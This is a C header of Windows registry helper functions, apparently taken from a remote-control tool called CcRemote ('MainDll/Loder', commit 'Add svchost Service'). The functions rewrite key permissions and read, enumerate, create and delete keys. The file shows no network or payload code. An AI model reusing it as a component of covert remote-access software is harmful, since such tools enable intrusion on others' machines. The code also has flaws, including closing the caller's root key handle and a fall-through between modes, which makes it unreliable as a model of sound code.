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CcRemote/CcMainDll/Loder/RegEditEx.h
changcheng ac601b4a57 update Add svchost Service
2020-07-01 23:10:59 +08:00

243 lines
6.9 KiB
C
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#include <windows.h>
//去除字符串类型前面的空格
char *DelSpace(char *szData)
{
int i=0 ;
while(1)
{
if(strnicmp(szData+i," ",1))
break;
i++;
}
return (szData+i);
}
//设置注册表键读取的权限(KEY_READ||KEY_WRITE||KEY_ALL_ACCESS)
int SetKeySecurityEx(HKEY MainKey,LPCTSTR SubKey,DWORD security)
{
HKEY hKey;
SID_IDENTIFIER_AUTHORITY sia = SECURITY_NT_AUTHORITY;
PSID pSystemSid = NULL;
PSID pUserSid = NULL;
SECURITY_DESCRIPTOR sd;
PACL pDacl = NULL;
DWORD dwAclSize;
int iResult = 0;
__try
{
if(RegOpenKeyEx(MainKey, SubKey, 0, WRITE_DAC, &hKey)!= ERROR_SUCCESS)
__leave;
if(!AllocateAndInitializeSid(&sia,1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid ))
__leave;
if(!AllocateAndInitializeSid( &sia, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,0, 0, 0, 0, 0, 0, &pUserSid))
__leave;
dwAclSize = sizeof(ACL) + 2 * ( sizeof(ACCESS_ALLOWED_ACE) - sizeof(DWORD) ) + GetLengthSid(pSystemSid) + GetLengthSid(pUserSid) ;
pDacl = (PACL)HeapAlloc(GetProcessHeap(), 0, dwAclSize);
if(pDacl == NULL)
__leave;
if(!InitializeAcl(pDacl, dwAclSize, ACL_REVISION))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, KEY_ALL_ACCESS, pSystemSid ))
__leave;
if(!AddAccessAllowedAce( pDacl, ACL_REVISION, (unsigned long)security, pUserSid ))
__leave;
if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
__leave;
if(!SetSecurityDescriptorDacl(&sd, TRUE, pDacl, FALSE))
__leave;
if(RegSetKeySecurity(hKey, (SECURITY_INFORMATION)DACL_SECURITY_INFORMATION, &sd)!= ERROR_SUCCESS)
__leave;
iResult =1;
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
if(pDacl !=NULL)
HeapFree(GetProcessHeap(), 0, pDacl);
if(pSystemSid !=NULL)
FreeSid(pSystemSid);
if(pUserSid !=NULL)
FreeSid(pUserSid);
}
return iResult;
}
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在)
int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode)
{
HKEY hKey;
int ValueDWORD,iResult=0;
char* PointStr;
char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH];
DWORD szSize,KnSize,dwIndex=0;
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
__try
{
// SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS);
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS)
{
iResult = -1;
__leave;
}
switch(Mode)
{
case 0:
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
strcpy(szData,DelSpace(ValueSz));
iResult =1;
}
break;
case REG_MULTI_SZ:
szSize = sizeof(ValueSz);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS)
{
for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1)
{
strncat(ValueTemp,PointStr,sizeof(ValueTemp));
strncat(ValueTemp," ",sizeof(ValueTemp));
}
strcpy(szData,ValueTemp);
iResult =1;
}
break;
case REG_DWORD:
szSize = sizeof(DWORD);
if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS)
{
wsprintf(szData,"%d",ValueDWORD);
iResult =1;
}
break;
case REG_BINARY:
szSize = lbSize;
if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS)
iResult =1;
break;
}
break;
case 1:
while(1)
{
memset(ValueSz,0,sizeof(ValueSz));
szSize = sizeof(ValueSz);
if(RegEnumKeyEx(hKey,dwIndex++,ValueSz,&szSize,NULL,NULL,NULL,NULL) != ERROR_SUCCESS)
break;
wsprintf(ValueTemp,"[%s]\r\n",ValueSz);
strcat(szData,ValueTemp);
iResult =1;
}
break;
case 2:
while(1)
{
memset(KeyName,0,sizeof(KeyName));
memset(ValueSz,0,sizeof(ValueSz));
memset(ValueTemp,0,sizeof(ValueTemp));
KnSize = sizeof(KeyName);
szSize = sizeof(ValueSz);
if(RegEnumValue(hKey,dwIndex++,KeyName,&KnSize,NULL,&Type,(LPBYTE)ValueSz,&szSize) != ERROR_SUCCESS)
break;
switch(Type)
{
case REG_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_SZ",ValueSz);
break;
case REG_EXPAND_SZ:
wsprintf(ValueTemp,"%-24s %-15s %s \r\n",KeyName,"REG_EXPAND_SZ",ValueSz);
break;
case REG_DWORD:
wsprintf(ValueTemp,"%-24s %-15s 0x%x(%d) \r\n",KeyName,"REG_DWORD",ValueSz,int(ValueSz));
break;
case REG_MULTI_SZ:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_MULTI_SZ");
break;
case REG_BINARY:
wsprintf(ValueTemp,"%-24s %-15s \r\n",KeyName,"REG_BINARY");
break;
}
lstrcat(szData,ValueTemp);
iResult =1;
}
break;
case 3:
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
//写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项)
int WriteRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char* szData,DWORD dwData,int Mode)
{
HKEY hKey;
DWORD dwDisposition;
int iResult =0;
__try
{
// SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
switch(Mode)
{
case 0:
if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
__leave;
case 1:
if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
switch(Type)
{
case REG_SZ:
case REG_EXPAND_SZ:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
iResult =1;
break;
case REG_DWORD:
if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
iResult =1;
break;
case REG_BINARY:
break;
}
break;
case 2:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
case 3:
if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
__leave;
if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
iResult =1;
break;
}
}
__finally
{
RegCloseKey(MainKey);
RegCloseKey(hKey);
}
return iResult;
}
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